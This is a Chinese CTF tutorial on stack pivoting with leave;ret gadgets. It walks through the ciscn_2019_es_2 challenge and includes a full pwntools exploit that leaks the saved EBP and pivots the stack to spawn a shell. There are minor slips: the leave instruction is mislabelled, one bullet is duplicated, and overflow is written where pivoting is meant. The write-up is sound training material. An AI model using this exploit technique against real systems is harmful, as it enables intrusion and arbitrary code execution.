栈迁移在各种学习平台中并没有特意去作为一个专题来讲,所以本来我也是没有太注重这种溢出的姿势,但是参加过几次比赛后发现几乎不会给你简单的溢出特别多字节的题,基本上都会用到栈迁移,所以要着重学习一下。
前提是需要会栈溢出漏洞,详见——>栈溢出漏洞
栈迁移简介
栈迁移就是控制E/RBP、E/RSP寄存器,让栈帧指向一段我们可以控制的内存,从而实现程序执行流的目的。
栈溢出攻击时,一个条件就是栈上有充分的空间可以布局。当溢出空间不够时,就需要栈迁移来解决了。
栈迁移利用原理(以32位为例)
leave和ret的作用:
- leave指令做出了两步操作mov ebp,esp和pop ebp。
- mov ebp,esp:将ebp的值赋给esp,这样esp和ebp就会指向同一块内存。
- pop ebp:将esp指向的值赋给ebp,同时esp保存的地址增加四个字节(64位增加八个字节),就是指向上一个栈块。
- ret指令相当于pop eip
- pop eip:将当前esp中的值赋给eip,这样下一步就会去执行更新后的eip指向的内容了,同时esp指向上一个栈块。
在指令集中,每次call之后都会执行leave;ret来退出call指令,以继续往下执行,因此我们可以利用这个指令来进行栈迁移,控制程序执行流。
要实现栈迁移,需要进行两次写入,第一次往可读可写段写入rop链,第二次栈溢出,将esp指向上次写入的rop链所在的段地址,还需要两次leave;ret,一次是栈溢出修改ret地址,一次是完成迁移。
- pop eip:将当前esp中的值赋给eip,这样下一步就会去执行更新后的eip指向的内容了,同时esp指向上一个栈块。
例题
ciscn_2019_es_2(大家都用的这个)
32位,IDA看看
发现存在栈溢出,但是只溢出了0x30-0x28=0x8字节,不够我们直接构造rop链,就要用到栈溢出了,我们gdb调试一下
发现ebp寄存器在0xffffd0a8,栈上ebp为0xffffd0b8,即oldebp,与缓冲区s开头的距离为0x38
攻击思路:
- 利用printf泄露oldebp地址
- 在s中写入rop链
- 将ebp覆盖为oldebp-0x38,即再次回到缓冲区开头,从而执行rop链
exp:
from pwn import *
io=remote('node4.buuoj.cn',25126)
elf=ELF('./ciscn_2019_es_2')
sys_addr=0x8048400
leave_ret=0x080484b8
io.recvuntil("Welcome, my friend. What's your name?")
payload=b'a'*0x24+b'bbbb'
io.send(payload) #如果用sendline()的话会多发送一个字节
io.recvuntil('bbbb')
old_ebp=u32(io.recv(4)) #接收old_ebp地址
log.success("old_ebp="+hex(old_ebp))
payload2=b'aaaa'+p32(sys_addr)+b'bbbb'+p32(old_ebp-0x38+0x10)+b'/bin/sh\x00'
payload2=payload2.ljust(0x28,b'c')
payload2+=p32(old_ebp-0x38)+p32(leave_ret)
io.sendline(payload2)
io.interactive()
栈迁移练习题——>栈迁移例题